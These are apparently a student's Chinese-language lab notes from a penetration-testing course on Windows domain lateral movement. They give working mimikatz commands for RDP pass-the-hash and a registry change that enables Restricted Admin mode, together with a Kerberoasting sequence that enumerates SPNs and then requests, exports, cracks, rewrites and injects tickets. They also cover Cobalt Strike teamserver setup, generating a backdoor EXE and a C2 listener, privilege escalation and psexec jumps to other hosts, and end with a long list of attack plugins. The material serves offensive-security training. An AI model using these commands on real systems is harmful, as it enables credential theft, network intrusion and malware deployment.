思维导图
知识点
演示案例
域横向移动RDP传递-Mimikatz
除了前面提到的IPC,WMI,SMB除协议连接外,获得的明文密码或HASH也可以通过密文RDP协议连接操作。
- 远程显示协议(Remote Display Protocol )简称RDP,
- RDP是微软终端服务应用的协议。
RDP协议连接:判断对方的远程桌面服务是否打开(默认:3389)
RDP明文密码连接
windows: mstsc /console /v :192.168.3.21:3389 /admin linux: rdesktop 192.168.3.21:3389
RDP密文HASH连接
- windows Server需要开启 ,
- 在Windows 8.1和Windows Server 2012 R2中默认开启
- 如果Win 7 和Windows Server 2008 R2支持287197、2973351补丁的安装;
修改并打开注册表HASH连接
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
开启后运行
mstsc.exe /restrictedadmin mimikatz.exe privilege::debug sekurlsa::pth /user:administrator /domain :god /ntlm :ccef208c6485269c20db2cad21734fe7 "/run:mstsc.exe /restrictedadmin"
域横向移动SPN服务探针、请求、导出、破解、重写
kerberos中的spn详解
SPN扫描也叫扫描Kerberos服务实例名称。。与网络端口扫描相比,(不会触发内网IPS、IDS由于设备的规则,会产生大量的警告日志)。SPN查询是Kerberos一种票据行为 部分,检测难度大。
kerberoast下载:https://github.com/nidem/kerberoast
探针
setspn -q */* setspn -q */* | findstr "MSSQL"
MSSQLSvc/mary-PC.god.org:1433 MSSQLSvc/mary-PC.god.org MSSQLSvc/WebServer.god.org:1433 MSSQLSvc/WebServer.god.org MSSQLSvc/fileserv.god.org:1433 MSSQLSvc/SqlServer.god.org:1433 MSSQLSvc/SqlServer.god.org
请求票据
# 删除缓存票据 klist purge # powershell请求 Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "服务名" New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/SqlServer.god.org:1433" # mimikatz请求 mimikatz.exe "kerberos::ask /target:xxxx" # 查看票据 klist
导出票据
# mimikatz .\mimikatz.exe kerberos::list /export
破解票据
# 破解工具tgsrepcrack.py python3环境运行 python tgsrepcrack.py passwd.txt xxxx.kirbi python3 .\tgsrepcrack.py .\password.txt .\1-40a00000-jerry@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi
没有破解,也许我的字典有问题!
重写票据
python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -u 500 python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -g 512 # 将生成的票据注入内存 mimikatz.exe kerberos::ptt xxxx.kirbi
利用
dir //xxx.xxx.xxx.xxx /c$
梭哈哈-CobaltStrike初体验
CobaltStrike4.0用户手册:https://pan.baidu.com/s/15DCt2Rzg5cZjXnEuUTgQ9Q 提取码: taqu
CS神器的一般流程:
启动—配置—监听—执行—上线—提权—信息收集(网络,凭证,定位等)—渗透
1.解释启动和配置 2.关于提权和插件加载 3.解释信息收集命令 4.解释视图自动化功能
CobaltStrike Aggressor 脚本集(可以自己收集)GitHub搜索):
https://github.com/harleyQu1nn/AggressorScripts https://github.com/Ud3rf10w/Aggressor-scripts
https://github.com/001SPARTaN/aggressor_scripts
https://github.com/rasta-mouse/Aggressor-Script
https://github.com/threatexpress/aggressor-scripts
https://github.com/ramen0x3f/AggressorScripts
https://github.com/FortyNorthSecurity/AggressorAssessor
https://github.com/michalkoczwara/aggressor_scripts_collection
https://github.com/ars3n11/Aggressor-Scripts
https://github.com/gaudard/scripts/tree/master/red-team/aggressor
https://github.com/bluscreenofjeff/AggressorScripts
https://github.com/vysecurity/Aggressor-VYSEC
https://github.com/killswitch-GUI/CobaltStrike-ToolKit
https://github.com/rsmudge/ElevateKit (第三方提权攻击)
https://github.com/QAX-A-Team/CobaltStrike-Toolset
https://github.com/DeEpinGh0st/Erebus (Erebus CobaltStrike后渗透测试插件,持续更新)
https://github.com/branthale/CobaltStrikeCNA
https://github.com/pandasec888/taowu-cobalt-strike
启动CobaltStrike服务端
启动本地客户端
本地windows直接打开start.bat文件即可(需要java环境),输入账户名(随意),密码(服务器端设置的密码),连接即可。
设置监听器
有许多种协议类型的payload
这里选择HTTP,设置端口5566(随意),保存即可
生成windows后门
勾选上x64,防止不兼容,选择刚才设置的监听器webserver,generate生成exe木马。
上线主机
生成的artifact.exe放到虚拟机webserver运行,webserver上一运行就崩溃,只能换一下其他的试试。
换了sqlserver的也是如此。
小迪视频中是可以执行的,上线主机。
无法复现实验,就先参考一下别人的总结。大概也就这几个方面。 参考:https://www.bilibili.com/read/cv14802167?spm_id_from=333.999.0.0
1.关于启动及配置讲解
启动
服务器:
需要Java环境支持
来到CobaltStrike所在的目录
运行“teamserver”,后面是安装CobaltStrike的服务器的IP,而后是工具链接服务器的密码
./teamserver [IP] [密码]
./teamserver 101.37.160.211 xiaodi
客户端:
需要Java环境支持
直接运行“start.bat”,Host为服务器IP,Port为50050,User随便填,Password为刚刚设定的密码,点链接
配置
配置监听器:
选择“Cobalt Strike”“Listeners”
选择“Add”,“Payload”选择木马回连的协议,这里选择HTTP;随便取个名字;“HTTP Host(Stager)”填服务器地址;“HTTP Port(C2)”填回连的端口
生成木马:
选择“Attacks”“Packages”,然后根据需要选择后门类型。这里选择“Windows Executable”,“Output”选择“Windows EXE”,勾选x64。“Listener”选择自己的监听器,点击“Generate”
选择保存木马的位置,填写名字,“保存”。注意会被杀软查杀
执行木马:
想办法将木马传输到目标机器并执行
在“Event Log”会提示对应IP的终端上线了,在Event Log和视图页面可以看见主机的名字和权限
2.关于提权及插件加载
在视图界面,选中机器右键。“Interact”,打开命令行终端;“Session”,链接的管理和笔记等功能;中间是包括端口扫描、黄金票据、运行MimiKatz等常用功能
选中机器右键,“Access”“Elevate”即提权功能,但默认只有两种提权方式,需要安装插件
选择合适的EXP和监听器,点击“Launch”提权,成功后会显示在视图界面
安装插件:
选择“Cobalt Strike”“Script Manager”,选择“Load”载入所需插件的.cna文件,将.cna文件“Unload”
提权速度过慢:
选择“Session”“Sleep”,设置为1或者0
3.关于信息收集命令讲解
在视图界面,选中SYSTEM权限的机器右键。“Interact”,打开命令行终端
输入“help”,查看命令
输入“getuid”,获取权限情况
输入“net view”,探测当前的网络环境
选择“View”“Targets”,会展示所有已探测的信息
输入“net computers”,探测所有的机器的名字与IP
输入“net dclist”,获取当前域控的信息
输入“net user”,获取当前用户信息
输入“shell net user /domain”,加“shell”调用cmd执行命令,得到域内所有用户的名字
选择“Access”“Run Mimikatz”或者输入“mimikatz”来运行mimikatz
选择“View”“Credentials”,会展示mimikatz收集的密码信息
回到“Targets”界面,选中一台机器,右键“Jump”,选择合适的攻击方法进攻。这里以“psexec”为例
可以选择收集到的密码来攻击,也可以手动填写,选择合适的监听器和负责攻击的会话,点击“Launch”
自主工具:
可以上传第三方工具,调用cmd执行,借助工具提高效率
代理问题:
确保信息能够传输回来
涉及资源:
kerberos中的spn详解:https://www.cnblogs.com/backlion/p/8082623.html
kerberoast:https://github.com/nidem/kerberoast
taowu-cobalt-strike(插件-小迪精选):https://github.com/pandasec888/taowu-cobalt-strike
Cobalt Strike 4.0手册:https://pan.baidu.com/s/15DCt2Rzg5cZjXnEuUTgQ9Q 提取码:dtm2
红队实战演练环境:https://pan.baidu.com/s/14eVDglqba1aRXi9BGcBbug 提取码:taqu
Erebus(插件-小迪使用):https://github.com/DeEpinGh0st/Erebus
(Cobalt Strike插件):https://github.com/rsmudge/Elevatekit
(Cobalt Strike插件):https://github.com/harleyQu1nn/AggressorScripts
(Cobalt Strike插件):https://github.com/bluscreenofjeff/AggressorScripts
(Cobalt Strike插件):https://github.com/michalkoczwara/aggressor_scripts_collection
(Cobalt Strike插件):https://github.com/vysecurity/Aggressor-VYSEC
(Cobalt Strike插件):https://github.com/killswitch-GUI/CobaltStrike-ToolKit
(Cobalt Strike插件):https://github.com/ramen0x3f/AggressorScripts
(Cobalt Strike插件):https://github.com/FortyNorthSecurity/AggressorAssessor
(Cobalt Strike插件):https://github.com/threatexpress/persistence-aggressor-script
(Cobalt Strike插件):https://github.com/threatexpress/aggressor-scripts
(Cobalt Strike插件):https://github.com/branthale/CobaltStrikeCNA
(Cobalt Strike插件):https://github.com/gaudard/scripts/tree/master/red-team/aggressor
(Cobalt Strike插件):https://github.com/001SPARTaN/aggressor_scripts
(Cobalt Strike插件):https://github.com/Und3rf10w/Aggressor-scripts
(Cobalt Strike插件):https://github.com/rasta-mouse/Aggressor-Script
(Cobalt Strike插件):https://github.com/vysec/Aggressor-VYSEC
(Cobalt Strike插件):https://github.com/threatexpress/aggressor-scripts
(Cobalt Strike插件):https://github.com/threatexpress/red-team-scripts
(Cobalt Strike插件):https://github.com/vysecurity/CVE-2018-4878
(Cobalt Strike插件):https://github.com/harleyQu1nn/AggressorScripts
(Cobalt Strike插件):https://github.com/bluscreenofjeff/AggressorScripts
(Cobalt Strike插件):https://github.com/QAX-A-Team/CobaltStrike-Toolset
(Cobalt Strike插件):https://github.com/ars3n11/Aggressor-Scripts
(Cobalt Strike插件):https://github.com/michalkoczwara/aggressor_scripts_collection
(Cobalt Strike插件):https://github.com/killswitch-GUI/CobaltStrike-Toolkit
(Cobalt Strike插件):https://github.com/ZonkSec/persistence-aggressor-script
(Cobalt Strike插件):https://github.com/rasta-mouse/Aggressor-Script
(Cobalt Strike插件):https://github.com/RhinoSecurityLabs/Aggressor-Scripts
(Cobalt Strike插件):https://github.com/Kevin-Robertson/Inveigh
(Cobalt Strike插件):https://github.com/Genetic-Malware/Ebowla
(Cobalt Strike插件):https://github.com/001SPARTaN/aggressor_scripts
(Cobalt Strike插件):https://github.com/gaudard/scripts/tree/master/red-team/aggressor
(Cobalt Strike插件):https://github.com/branthale/CobaltStrikeCNA
(Cobalt Strike插件):https://github.com/oldb00t/AggressorScripts
(Cobalt Strike插件):https://github.com/p292/Phant0m_cobaltstrike
(Cobalt Strike插件):https://github.com/p292/DDEAutoCS
(Cobalt Strike插件):https://github.com/secgroundzero/CS-Aggressor-Scripts
(Cobalt Strike插件):https://github.com/skyleronken/Aggressor-Scripts
(Cobalt Strike插件):https://github.com/tevora-threat/aggressor-powerview
(Cobalt Strike插件):https://github.com/tevora-threat/PowerView3-Aggressor
(Cobalt Strike插件):https://github.com/threatexpress/persistence-aggressor-script
(Cobalt Strike插件):https://github.com/FortyNorthSecurity/AggressorAssessor
(Cobalt Strike插件):https://github.com/mdsecactivebreach/CACTUSTORCH
(Cobalt Strike插件):https://github.com/C0axx/AggressorScripts
(Cobalt Strike插件):https://github.com/offsecginger/AggressorScripts
(Cobalt Strike插件):https://github.com/tomsteele/cs-magik
(Cobalt Strike插件):https://github.com/bitsadmin/nopowershell
(Cobalt Strike插件):https://github.com/SpiderLabs/SharpCompile
参考
https://www.cnblogs.com/zhengna/p/15325215.html https://www.bilibili.com/read/cv14802167?spm_id_from=333.999.0.0